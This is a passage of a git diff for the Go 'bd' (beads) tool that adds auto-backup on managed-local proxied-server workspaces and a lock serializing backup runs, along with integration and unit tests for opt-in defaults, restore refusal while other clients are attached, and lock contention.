requireLocalProxiedBackup before status renders). +// A server-mode default is OFF whether or not a git remote exists, so it +// must not be attributed to the remote; before these arms existed, status +// did exactly that. func backupAutoStatusNote(enabled bool) string { - if usesProxiedServer() { - return "auto-backup does not run on proxied-server; use 'bd backup sync'" - } if config.GetValueSource("backup.enabled") != config.SourceDefault { return "" } + if usesProxiedServer() { + return "auto: off in proxied-server mode; set backup.enabled=true to opt in" + } if usesSQLServer() { return "auto: off in sql-server mode" } @@ -125,6 +119,21 @@ func clientServerShareFilesystem() bool { // bd sessions don't need a chatty repeat on every command. var autoBackupSkipNoticeOnce sync.Once +// autoBackupBackendForCommand returns the storage this command's auto-backup +// runs against, or ok=false when there is nothing it may back up. +func autoBackupBackendForCommand() (localBackupBackend, bool) { + if usesProxiedServer() { + return proxiedAutoBackupBackend() + } + if store == nil { + return nil, false + } + if lm, ok := storage.UnwrapStore(store).(storage.LifecycleManager); ok && lm.IsClosed() { + return nil, false + } + return directLocalBackup{store: store}, true +} + // maybeAutoBackup runs a Dolt-native backup if enabled and the throttle interval has passed. // Called from PersistentPostRun after auto-commit. func maybeAutoBackup(ctx context.Context) { @@ -139,10 +148,8 @@ func maybeAutoBackup(ctx context.Context) { if !isBackupAutoEnabled() { return } - if store == nil { - return - } - if lm, ok := storage.UnwrapStore(store).(storage.LifecycleManager); ok && lm.IsClosed() { + backend, ok := autoBackupBackendForCommand() + if !ok { return } @@ -152,7 +159,11 @@ func maybeAutoBackup(ctx context.Context) { // constructs is meaningless to the server — register fails on // every command. Skip cleanly with a one-time INFO so operators // know auto-backup is silent on purpose. - if !clientServerShareFilesystem() { + // + // Proxied workspaces do not consult the host: proxiedAutoBackupBackend + // has already required managed-local, where bd spawned the server on + // this filesystem itself. + if !usesProxiedServer() && !clientServerShareFilesystem() { autoBackupSkipNoticeOnce.Do(func() { if !isQuiet() && !jsonOutput { fmt.Fprintln(os.Stderr, @@ -190,7 +201,7 @@ func maybeAutoBackup(ctx context.Context) { } // Change detection: skip if nothing changed - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { fmt.Fprintf(os.Stderr, "Warning: auto-backup skipped: failed to get current commit: %v\n", err) return @@ -200,8 +211,21 @@ func maybeAutoBackup(ctx context.Context) { return } + // One backup at a time per workspace (backup_lock.go). Auto-backup never + // waits: a held lock means a backup is already running. + release, err := acquireBackupLock(0) + if err != nil { + if errors.Is(err, errBackupBusy) { + debug.Logf("backup: skipping — another backup is running\n") + return + } + fmt.Fprintf(os.Stderr, "Warning: auto-backup skipped: %v\n", err) + return + } + defer release() + // Run the backup (force=true since we already checked change detection above) - if _, err := runBackupExport(ctx, true); err != nil { + if _, err := runBackupExport(ctx, backend, true); err != nil { if !isQuiet() && !jsonOutput { fmt.Fprintf(os.Stderr, "Warning: auto-backup failed: %v\n", err) } diff --git a/cmd/bd/backup_auto_proxied_local_integration_test.go b/cmd/bd/backup_auto_proxied_local_integration_test.go new file mode 100644 index 000000000..c87f5389e --- /dev/null +++ b/cmd/bd/backup_auto_proxied_local_integration_test.go @@ -0,0 +1,240 @@ +//go:build cgo && unix + +package main + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/steveyegge/beads/internal/workspacegate" +) + +// autoBackupOptIn is the explicit opt-in a server-mode workspace needs, with +// the throttle collapsed so every command in a test is due. +var autoBackupOptIn = []string{"BD_BACKUP_ENABLED=true", "BD_BACKUP_INTERVAL=1ms"} + +// TestManagedLocalProxiedAutoBackup is the claim this slice makes: on a +// managed-local proxied workspace, an explicit backup.enabled=true makes the +// post-command hook take a Dolt-native backup into .beads/backup, exactly as +// it does in direct mode — and that backup restores. +// +// Like the explicit-verb round trip next door, the proof is a restore, not an +// exit code: an auto-backup that wrote a manifest nobody can restore from would +// pass every other assertion here. +// +// Named TestManagedLocalProxied* so the proxied-local smoke lane runs it. +func TestManagedLocalProxiedAutoBackup(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkauto", 5*time.Minute) + autoDir := filepath.Join(p.beadsDir, "backup") + manifest := filepath.Join(autoDir, "manifest") + + // Server mode defaults auto-backup OFF: many clients share one server. + // Nothing may be written without the opt-in. + bdProxiedCreate(t, bd, p.dir, "no opt-in, no backup", "-p", "2") + if _, err := os.Stat(manifest); err == nil { + t.Fatalf("auto-backup ran without an opt-in: %s exists", manifest) + } + + // With the opt-in, one ordinary write is enough. + created := proxiedAutoBackupCreate(t, bd, p, "captured by auto-backup") + if _, err := os.Stat(manifest); err != nil { + t.Fatalf("opted-in auto-backup produced no manifest at %s: %v", manifest, err) + } + state := readProxiedAutoBackupState(t, bd, p) + if state.LastDoltCommit == "" || state.Timestamp.IsZero() { + t.Fatalf("auto-backup did not record its watermark: %+v", state) + } + wantIDs := proxiedIssueIDs(t, bd, p) + if !slices.Contains(wantIDs, created) { + t.Fatalf("precondition: %s missing from %v", created, wantIDs) + } + + // A read-only command with nothing new to capture must not advance the + // watermark: change detection runs before the backup, as in direct mode. + if _, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "list", "--json"); err != nil { + t.Fatalf("bd list with auto-backup opted in: %v\n%s", err, stderr) + } + if again := readProxiedAutoBackupState(t, bd, p); again.LastDoltCommit != state.LastDoltCommit { + t.Fatalf("auto-backup advanced with no new commit: %q -> %q", state.LastDoltCommit, again.LastDoltCommit) + } + + // `bd dolt stop` opens no provider, so its post-run hook has nothing to + // back up — and must not relaunch the server it just stopped to find out. + if _, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "dolt", "stop"); err != nil { + t.Fatalf("bd dolt stop: %v\n%s", err, stderr) + } + assertManagedProxiedQuiescent(t, p, "bd dolt stop with auto-backup opted in") + + // Diverge from the backup, then restore it and compare. + after := bdProxiedCreate(t, bd, p.dir, "created after the auto-backup", "-p", "2") + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", autoDir, "--force", "--json") + if err != nil { + t.Fatalf("bd backup restore %s --force: %v\n%s", autoDir, err, out) + } + gotIDs := proxiedIssueIDs(t, bd, p) + if slices.Contains(gotIDs, after.ID) { + t.Fatalf("restore kept %s, created after the auto-backup; got %v", after.ID, gotIDs) + } + if !slices.Equal(gotIDs, wantIDs) { + t.Fatalf("restored issues differ from the auto-backed-up set:\n got %v\n want %v", gotIDs, wantIDs) + } +} + +// TestManagedLocalProxiedBackupRestoreRefusedWhileAttached pins the restore +// design choice: restore REPLACES the database, so it refuses while any other +// bd command is attached to the workspace, and in that case touches nothing — +// the serving child keeps running and the data stays as it was. +// +// "Attached" is what another bd process holds for its lifetime: a SHARED +// workspace gate. The test holds exactly that, in-process, rather than racing +// a second process into position. +func TestManagedLocalProxiedBackupRestoreRefusedWhileAttached(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkatt", 5*time.Minute) + + bdProxiedCreate(t, bd, p.dir, "in the backup", "-p", "1") + dest := filepath.Join(t.TempDir(), "dolt-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("bd backup init: %v\n%s", err, out) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync: %v\n%s", err, out) + } + after := bdProxiedCreate(t, bd, p.dir, "not in the backup", "-p", "1") + before := proxiedIssueIDs(t, bd, p) + + proxyPID := readManagedProxyPidFile(t, p) + backendPID := readManagedBackendPidFile(t, p) + if proxyPID == nil || backendPID == nil { + t.Fatal("precondition: the managed topology should be serving") + } + + gates, err := buildWorkspaceGateSet(p.beadsDir) + if err != nil { + t.Fatalf("resolve workspace gates: %v", err) + } + held, err := workspacegate.AcquireAll(context.Background(), workspacegate.Shared, + workspacegate.Options{Reason: "test: attached bd client"}, gates...) + if err != nil { + t.Fatalf("hold the workspace gate: %v", err) + } + released := false + release := func() { + if !released { + released = true + if err := held.Release(); err != nil { + t.Errorf("release workspace gate: %v", err) + } + } + } + t.Cleanup(release) + + stdout, _, err := bdProxiedRunBuffers(t, bd, p.dir, "backup", "restore", dest, "--force", "--json") + if err == nil { + t.Fatalf("bd backup restore succeeded while another bd client was attached:\n%s", stdout) + } + var refusal struct { + Error string `json:"error"` + } + if jerr := json.Unmarshal([]byte(stdout[strings.Index(stdout, "{"):]), &refusal); jerr != nil { + t.Fatalf("restore refusal is not JSON on stdout: %v\n%s", jerr, stdout) + } + if !strings.Contains(refusal.Error, "other bd commands are using this workspace") { + t.Fatalf("restore refusal does not say why: %q", refusal.Error) + } + + // Refused means untouched: the serving topology is the same processes. + if pf := readManagedProxyPidFile(t, p); pf == nil || pf.Pid != proxyPID.Pid || !processAlive(pf.Pid) { + t.Fatalf("refused restore disturbed the proxy: before %+v, now %+v", proxyPID, pf) + } + if pf := readManagedBackendPidFile(t, p); pf == nil || pf.Pid != backendPID.Pid || !processAlive(pf.Pid) { + t.Fatalf("refused restore disturbed the dolt child: before %+v, now %+v", backendPID, pf) + } + + release() + if got := proxiedIssueIDs(t, bd, p); !slices.Equal(got, before) || !slices.Contains(got, after.ID) { + t.Fatalf("refused restore changed the data:\n got %v\n want %v", got, before) + } + + // Once the other client detaches, the same restore goes through. + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force", "--json"); err != nil { + t.Fatalf("bd backup restore after the client detached: %v\n%s", err, out) + } + if slices.Contains(proxiedIssueIDs(t, bd, p), after.ID) { + t.Fatalf("restore after detach did not replace the database: %s is still here", after.ID) + } +} + +// proxiedAutoBackupCreate creates an issue with auto-backup opted in and +// returns its ID. +func proxiedAutoBackupCreate(t *testing.T, bd string, p proxiedProject, title string) string { + t.Helper() + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "create", title, "-p", "2", "--silent") + if err != nil { + t.Fatalf("bd create with auto-backup opted in: %v\n%s", err, stderr) + } + if strings.Contains(stderr, "auto-backup") { + t.Fatalf("auto-backup reported a problem:\n%s", stderr) + } + id := strings.TrimSpace(stdout) + if id == "" { + t.Fatalf("bd create --silent printed no ID; stderr:\n%s", stderr) + } + return id +} + +// readProxiedAutoBackupState reads the auto-backup watermark through +// `bd backup status --json`, the surface an operator uses. +func readProxiedAutoBackupState(t *testing.T, bd string, p proxiedProject) backupState { + t.Helper() + out, err := bdProxiedRun(t, bd, p.dir, "backup", "status", "--json") + if err != nil { + t.Fatalf("bd backup status --json: %v\n%s", err, out) + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("bd backup status --json produced no JSON:\n%s", out) + } + var status struct { + Backup backupState `json:"backup"` + } + if err := json.Unmarshal(out[start:], &status); err != nil { + t.Fatalf("parse backup status JSON: %v\n%s", err, out) + } + return status.Backup +} + +// proxiedIssueIDs lists every issue ID in the workspace, sorted. +func proxiedIssueIDs(t *testing.T, bd string, p proxiedProject) []string { + t.Helper() + var ids []string + for _, issue := range bdProxiedListJSON(t, bd, p, "--all") { + ids = append(ids, issue.ID) + } + slices.Sort(ids) + return ids +} + +// assertManagedProxiedQuiescent fails when either managed-local pidfile is +// present, i.e. something relaunched the topology. +func assertManagedProxiedQuiescent(t *testing.T, p proxiedProject, after string) { + t.Helper() + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Fatalf("after %s, %s is present: the topology was relaunched", after, name) + } + } +} diff --git a/cmd/bd/backup_auto_proxied_test.go b/cmd/bd/backup_auto_proxied_test.go new file mode 100644 index 000000000..87c9ffc11 --- /dev/null +++ b/cmd/bd/backup_auto_proxied_test.go @@ -0,0 +1,142 @@ +package main + +import ( + "context" + "database/sql" + "os" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/uow" +) + +// fakeMaintenanceProvider is a proxied provider stand-in exposing the +// non-transactional seam proxied auto-backup runs on. It never opens a +// connection; the tests here only assert whether it would be used. +type fakeMaintenanceProvider struct { + uow.UnitOfWorkProvider + runs int +} + +func (f *fakeMaintenanceProvider) RunNonTx(context.Context, func(context.Context, *sql.Conn) error) error { + f.runs++ + return nil +} + +func (f *fakeMaintenanceProvider) Close(context.Context) error { return nil } + +// TestProxiedAutoBackupBackendFollowsLocality pins where auto-backup may run on +// a proxied workspace: exactly where `bd backup sync` is honored. Auto-backup +// registers a server-side backup remote, which on a server bd does not own is +// global to every client of it — the storm the explicit verbs refuse by design +// — so an implicit trigger must not get further than the explicit one. An +// unreadable sidecar resolves to the unknown topology and fails closed. +// +// Cannot be parallel: mutates the proxiedServerMode and uowProvider globals. +func TestProxiedAutoBackupBackendFollowsLocality(t *testing.T) { + for _, tc := range []struct { + name string + sidecar string + noProvider bool + wantBackend bool + }{ + {name: "managed-local with an open provider", sidecar: `{}`, wantBackend: true}, + {name: "managed-local with no provider open", sidecar: `{}`, noProvider: true}, + {name: "external tcp", sidecar: `{"external":{"host":"db.example.com","port":3306}}`}, + {name: "external unix socket", sidecar: `{"external":{"socket":"/tmp/dolt.sock"}}`}, + {name: "unreadable sidecar", sidecar: `{not json`}, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := prepareBackupStatusTest(t) + proxiedServerMode = true + if err := os.WriteFile(configfile.ProxiedServerClientInfoPath(beadsDir), []byte(tc.sidecar), 0o600); err != nil { + t.Fatalf("write proxied sidecar: %v", err) + } + + oldProvider := uowProvider + t.Cleanup(func() { uowProvider = oldProvider }) + fake := &fakeMaintenanceProvider{} + uowProvider = fake + if tc.noProvider { + uowProvider = nil + } + + backend, ok := autoBackupBackendForCommand() + if ok != tc.wantBackend { + t.Fatalf("autoBackupBackendForCommand() ok = %v, want %v", ok, tc.wantBackend) + } + if !ok { + return + } + if _, isProxied := backend.(proxiedLocalBackup); !isProxied { + t.Fatalf("backend = %T, want proxiedLocalBackup", backend) + } + if fake.runs != 0 { + t.Fatalf("resolving the backend ran %d maintenance call(s); it must not touch the server", fake.runs) + } + }) + } +} + +// TestPersistentPostRunProxiedRunsAutoBackup pins the wiring: the proxied arm +// of PersistentPostRunE calls the auto-backup hook, under the same gate the +// direct arm's maintenance net uses, plus previews. +// +// Before this hook existed the proxied arm only pruned the journal and closed +// the provider, so backup.enabled=true was inert on every proxied workspace. +// +// Cannot be parallel: mutates PersistentPostRunE's package globals. +func TestPersistentPostRunProxiedRunsAutoBackup(t *testing.T) { + for _, tc := range []struct { + name string + cmd func() *cobra.Command + readonly bool + want int + }{ + {name: "ordinary command", cmd: func() *cobra.Command { return &cobra.Command{Use: "list"} }, want: 1}, + {name: "strict readonly", cmd: func() *cobra.Command { return &cobra.Command{Use: "list"} }, readonly: true}, + {name: "bd serve", cmd: func() *cobra.Command { return &cobra.Command{Use: serveCmdName} }}, + {name: "preview", cmd: func() *cobra.Command { + c := &cobra.Command{Use: "list"} + c.Flags().Bool("dry-run", false, "") + if err := c.Flags().Set("dry-run", "true"); err != nil { + t.Fatalf("set --dry-run: %v", err) + } + return c + }}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + + oldStore, oldProvider := store, uowProvider + oldReadonly, oldProxied := readonlyMode, proxiedServerMode + oldRootCtx, oldRootCancel := rootCtx, rootCancel + oldSpan, oldProfile, oldTrace := commandSpan, profileFile, traceFile + oldBackup := runPostRunAutoBackup + t.Cleanup(func() { + store, uowProvider = oldStore, oldProvider + readonlyMode, proxiedServerMode = oldReadonly, oldProxied + rootCtx, rootCancel = oldRootCtx, oldRootCancel + commandSpan, profileFile, traceFile = oldSpan, oldProfile, oldTrace + runPostRunAutoBackup = oldBackup + }) + + calls := 0 + runPostRunAutoBackup = func(context.Context) { calls++ } + store, uowProvider = nil, nil + readonlyMode = tc.readonly + proxiedServerMode = true + rootCtx, rootCancel = context.Background(), nil + commandSpan, profileFile, traceFile = nil, nil, nil + + if err := rootCmd.PersistentPostRunE(tc.cmd(), nil); err != nil { + t.Fatalf("PersistentPostRunE: %v", err) + } + if calls != tc.want { + t.Fatalf("auto-backup hook calls = %d, want %d", calls, tc.want) + } + }) + } +} diff --git a/cmd/bd/backup_auto_test.go b/cmd/bd/backup_auto_test.go index 5e64195db..f2a10803b 100644 --- a/cmd/bd/backup_auto_test.go +++ b/cmd/bd/backup_auto_test.go @@ -133,9 +133,9 @@ func TestIsBackupAutoEnabled(t *testing.T) { // status` reachable on a proxied server for the first time, where it rendered // the embedded-mode footnote "(auto: no git remote)". On any sql-server shape // the value is false because usesSQLServer() short-circuits, whether or not a -// remote exists, so that reason was simply untrue; and on proxied specifically -// even an explicit backup.enabled=true changes nothing, because the proxied -// arm of PersistentPostRunE never calls runPostRunAutoBackup. +// remote exists, so that reason was simply untrue. Since the proxied post-run +// arm gained its auto-backup hook, an explicit opt-in on proxied is honored +// and needs no caveat. // // Cannot be parallel: mutates the proxiedServerMode global, primeHasGitRemote // and env vars. @@ -191,23 +191,25 @@ func TestBackupAutoStatusNote(t *testing.T) { wantNote: "", }, { - name: "proxied default → names the missing hook, not the remote", + // Proxied is server mode: the default is off whether or not a + // remote exists, and the note names the opt-in that now works. + name: "proxied default → off, names the opt-in, not the remote", envVal: "\x00", hasRemote: true, proxied: true, wantEnabled: false, - wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + wantNote: "auto: off in proxied-server mode; set backup.enabled=true to opt in", }, { - // The dead opt-in: enabled=true with nothing to run it. The note - // must survive an explicit source here, or status reports a bare - // "enabled=true" and the operator believes backups are happening. - name: "proxied explicit opt-in → still inert, still annotated", + // The proxied post-run arm runs auto-backup on managed-local (the + // only proxied shape status renders on), so an explicit opt-in is + // real there and needs no caveat. + name: "proxied explicit opt-in → honored, no note", envVal: "true", hasRemote: false, proxied: true, wantEnabled: true, - wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + wantNote: "", }, } diff --git a/cmd/bd/backup_dolt.go b/cmd/bd/backup_dolt.go index 5ee084260..3e2aebbd7 100644 --- a/cmd/bd/backup_dolt.go +++ b/cmd/bd/backup_dolt.go @@ -142,6 +142,20 @@ Run 'bd backup init ' first to configure a destination.`, }() ctx := rootCtx + if usesProxiedServer() { + if err := requireLocalProxiedBackup("backup sync"); err != nil { + return err + } + } + release, err := acquireBackupLock(backupLockWait) + if err != nil { + if errors.Is(err, errBackupBusy) { + return HandleErrorRespectJSON("%v; retry when it completes", err) + } + return HandleErrorRespectJSON("%v", err) + } + defer release() + if usesProxiedServer() { return runBackupSyncProxied(ctx) } @@ -453,7 +467,7 @@ backup configuration. The backup data at the destination is not deleted.`, } // Also remove backup_export if it exists (auto-export may have created it at same URL) - _ = bs.BackupRemove(ctx, "backup_export") + _ = bs.BackupRemove(ctx, versioncontrolops.ExportBackupName) // Remove local config if path, err := doltBackupConfigPath(); err == nil { diff --git a/cmd/bd/backup_export.go b/cmd/bd/backup_export.go index 25b7ac945..654ba7c47 100644 --- a/cmd/bd/backup_export.go +++ b/cmd/bd/backup_export.go @@ -122,9 +122,35 @@ func atomicWriteFile(path string, data []byte) error { return nil } +// localBackupBackend is what a Dolt-native backup into a local directory needs +// from storage: the commit it would capture, and the backup itself. The direct +// store supplies one (directLocalBackup) and so does the proxied provider +// (proxiedLocalBackup, backup_proxied_server.go). +type localBackupBackend interface { + CurrentCommit(ctx context.Context) (string, error) + BackupToDir(ctx context.Context, dir string) error +} + +// directLocalBackup is localBackupBackend over an embedded or sql-server store. +type directLocalBackup struct { + store storage.DoltStorage +} + +func (b directLocalBackup) CurrentCommit(ctx context.Context) (string, error) { + return b.store.GetCurrentCommit(ctx) +} + +func (b directLocalBackup) BackupToDir(ctx context.Context, dir string) error { + bs, ok := storage.UnwrapStore(b.store).(storage.BackupStore) + if !ok { + return fmt.Errorf("storage backend does not support backup operations") + } + return bs.BackupDatabase(ctx, dir) +} + // runBackupExport performs a Dolt-native backup to .beads/backup/. // Returns the updated state. -func runBackupExport(ctx context.Context, force bool) (*backupState, error) { +func runBackupExport(ctx context.Context, backend localBackupBackend, force bool) (*backupState, error) { dir, err := backupDir() if err != nil { return nil, err @@ -137,7 +163,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { // Change detection: skip if nothing changed (unless forced) if !force { - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { return nil, fmt.Errorf("failed to get current commit: %w", err) } @@ -147,12 +173,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { } } - bs, ok := storage.UnwrapStore(store).(storage.BackupStore) - if !ok { - return nil, fmt.Errorf("storage backend does not support backup operations") - } - - if err := bs.BackupDatabase(ctx, dir); err != nil { + if err := backend.BackupToDir(ctx, dir); err != nil { // Persist the attempt time even on failure so the throttle // interval (checked by maybeAutoBackup via state.Timestamp) // applies to the next command. Without this, a sync that keeps @@ -170,7 +191,7 @@ func runBackupExport(ctx context.Context, force bool) (*backupState, error) { } // Update watermarks - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { return nil, fmt.Errorf("failed to get current commit for state: %w", err) } diff --git a/cmd/bd/backup_export_failure_test.go b/cmd/bd/backup_export_failure_test.go index 174756bf8..5fd22c081 100644 --- a/cmd/bd/backup_export_failure_test.go +++ b/cmd/bd/backup_export_failure_test.go @@ -63,13 +63,10 @@ func TestRunBackupExport_PersistsThrottleOnFailure(t *testing.T) { t.Fatalf("precondition: expected zero timestamp, got %v", st.Timestamp) } - oldStore := store fake := &failingBackupStore{commit: "deadbeef", backupErr: errors.New("sync to backup: server too busy")} - store = fake - t.Cleanup(func() { store = oldStore }) before := time.Now().UTC() - if _, err := runBackupExport(context.Background(), true); err == nil { + if _, err := runBackupExport(context.Background(), directLocalBackup{store: fake}, true); err == nil { t.Fatal("expected runBackupExport to return the sync error, got nil") } if fake.backupCalls != 1 { diff --git a/cmd/bd/backup_lock.go b/cmd/bd/backup_lock.go new file mode 100644 index 000000000..832159ef2 --- /dev/null +++ b/cmd/bd/backup_lock.go @@ -0,0 +1,71 @@ +package main + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/lockfile" +) + +// The backup lock serializes the two writers of a workspace's Dolt backup: +// post-command auto-backup and an explicit `bd backup sync`. Both run under the +// command's SHARED workspace gate, so the gate alone lets them overlap, and the +// auto-backup body does remove → add → sync on one fixed remote name — two +// concurrent runs race each other's registration and full-sync the database +// twice. Restore needs no part in it: it holds the workspace gate EXCLUSIVELY, +// which already excludes every command that could take this lock. +// +// The two callers wait differently, and deliberately: +// - auto-backup does not wait. Another backup running means one is already +// happening; it skips, and the throttle picks it up on a later command. +// - `bd backup sync` waits up to backupLockWait — the same bound an exclusive +// workspace-gate acquisition (restore) uses — and then fails with an error +// naming the busy lock, so an operator is never told it synced when it +// did not. +const backupLockFileName = "backup.lock" + +// backupLockWait bounds how long `bd backup sync` waits for another backup. +// A var so tests can shorten it. +var backupLockWait = exclusiveGateWait + +// errBackupBusy is returned when another backup holds the lock past the wait. +var errBackupBusy = errors.New("another backup is running for this workspace") + +const backupLockPoll = 50 * time.Millisecond + +// acquireBackupLock takes the workspace's backup lock, polling up to wait +// (zero means one non-blocking attempt). The returned release must be called. +func acquireBackupLock(wait time.Duration) (release func(), err error) { + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return nil, fmt.Errorf("backup lock: %s", activeWorkspaceNotFoundError()) + } + path := filepath.Join(beadsDir, backupLockFileName) + f, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0o600) //nolint:gosec // path is the workspace's own lock file + if err != nil { + return nil, fmt.Errorf("backup lock: open %s: %w", path, err) + } + deadline := time.Now().Add(wait) + for { + err := lockfile.FlockExclusiveNonBlocking(f) + if err == nil { + return func() { + _ = lockfile.FlockUnlock(f) + _ = f.Close() + }, nil + } + if !lockfile.IsLocked(err) { + _ = f.Close() + return nil, fmt.Errorf("backup lock: %s: %w", path, err) + } + if !time.Now().Before(deadline) { + _ = f.Close() + return nil, errBackupBusy + } + time.Sleep(backupLockPoll) + } +} diff --git a/cmd/bd/backup_lock_test.go b/cmd/bd/backup_lock_test.go new file mode 100644 index 000000000..2248b45ad --- /dev/null +++ b/cmd/bd/backup_lock_test.go @@ -0,0 +1,133 @@ +package main + +import ( + "context" + "errors" + "os" + "strings" + "testing" + "time" +) + +// TestBackupLockSerializesBackups pins the lock itself: a second holder is +// refused while the first holds it, a bounded wait gives up with errBackupBusy, +// and releasing makes it available again. +// +// Cannot be parallel: prepareBackupStatusTest mutates package globals. +func TestBackupLockSerializesBackups(t *testing.T) { + prepareBackupStatusTest(t) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("first acquisition: %v", err) + } + if _, err := acquireBackupLock(0); !errors.Is(err, errBackupBusy) { + t.Fatalf("non-blocking acquisition while held = %v, want errBackupBusy", err) + } + start := time.Now() + if _, err := acquireBackupLock(150 * time.Millisecond); !errors.Is(err, errBackupBusy) { + t.Fatalf("bounded wait while held = %v, want errBackupBusy", err) + } + if waited := time.Since(start); waited < 100*time.Millisecond { + t.Fatalf("bounded wait returned after %s; it must poll for the wait it was given", waited) + } + release() + + again, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("acquisition after release: %v", err) + } + again() +} + +// TestAutoBackupSkipsWhileAnotherBackupRuns: auto-backup never waits on the +// lock. With it held the backup does not run and the throttle state is left +// alone, so the next command retries; once released, the same call backs up. +func TestAutoBackupSkipsWhileAnotherBackupRuns(t *testing.T) { + prepareBackupStatusTest(t) + t.Setenv("BD_BACKUP_ENABLED", "true") + t.Setenv("BD_BACKUP_INTERVAL", "1ms") + t.Setenv("BD_GIT_HOOK", "") + initConfigForTest(t) + + oldStore := store + fake := &failingBackupStore{commit: "c1"} + store = fake + t.Cleanup(func() { store = oldStore }) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("hold the backup lock: %v", err) + } + maybeAutoBackup(context.Background()) + if fake.backupCalls != 0 { + t.Fatalf("auto-backup ran %d backup(s) while another backup held the lock", fake.backupCalls) + } + dir, err := backupDir() + if err != nil { + t.Fatal(err) + } + if st, _ := loadBackupState(dir); !st.Timestamp.IsZero() { + t.Fatalf("a skipped auto-backup advanced the throttle to %v", st.Timestamp) + } + + release() + maybeAutoBackup(context.Background()) + if fake.backupCalls != 1 { + t.Fatalf("auto-backup ran %d backup(s) after the lock was released, want 1", fake.backupCalls) + } +} + +// TestBackupSyncFailsWhenAnotherBackupHoldsTheLock: an explicit sync waits +// backupLockWait for another backup and then fails loudly, before touching the +// store — it never reports a sync it did not do. +func TestBackupSyncFailsWhenAnotherBackupHoldsTheLock(t *testing.T) { + prepareBackupStatusTest(t) + oldWait := backupLockWait + backupLockWait = 100 * time.Millisecond + t.Cleanup(func() { backupLockWait = oldWait }) + + oldStore := store + fake := &failingBackupStore{commit: "c1"} + store = fake + t.Cleanup(func() { store = oldStore }) + + release, err := acquireBackupLock(0) + if err != nil { + t.Fatalf("hold the backup lock: %v", err) + } + defer release() + + var runErr error + stderr := captureStderrForBackupLockTest(t, func() { + runErr = backupSyncCmd.RunE(backupSyncCmd, nil) + }) + if runErr == nil { + t.Fatal("bd backup sync succeeded while another backup held the lock") + } + if !strings.Contains(stderr, "another backup is running") { + t.Fatalf("sync refusal does not say why; stderr:\n%s", stderr) + } + if fake.backupCalls != 0 { + t.Fatalf("refused sync still reached the store (%d backup calls)", fake.backupCalls) + } +} + +func captureStderrForBackupLockTest(t *testing.T, fn func()) string { + t.Helper() + stdioMutex.Lock() + defer stdioMutex.Unlock() + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + old := os.Stderr + os.Stderr = w + fn() + os.Stderr = old + _ = w.Close() + buf := make([]byte, 1<<16) + n, _ := r.Read(buf) + _ = r.Close() + return string(buf[:n]) +} diff --git a/cmd/bd/backup_proxied_server.go b/cmd/bd/backup_proxied_server.go index 13bfaacac..0cce7e50c 100644 --- a/cmd/bd/backup_proxied_server.go +++ b/cmd/bd/backup_proxied_server.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" "github.com/steveyegge/beads/internal/storage/issueops" @@ -47,19 +48,83 @@ const proxiedBackupTargetName = defaultDoltBackupName // Defense in depth, not a second policy: the rule and its wording come from the // same registry row the pre-provider gate consults, so the two cannot drift. func requireLocalProxiedBackup(path string) error { - row, ok := LookupCapabilityRow(path, "") + rule, ok := proxiedBackupRule(path) if !ok { // Unreachable: TestProxyCapabilityRegistryCoversCommandTree fails the // build for a backup path with no row. Refuse rather than guess. return HandleErrorRespectJSON("%s has no proxied-server capability row", path) } - rule := row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())) if rule.Outcome == ProxyOutcomeHonored { return nil } return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) } +// proxiedBackupRule resolves the registry rule for a backup path on this +// workspace's proxied topology. ok is false only for a path with no row. +func proxiedBackupRule(path string) (proxyCapabilityRule, bool) { + row, ok := LookupCapabilityRow(path, "") + if !ok { + return proxyCapabilityRule{}, false + } + return row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())), true +} + +// proxiedAutoBackupBackend returns the backend 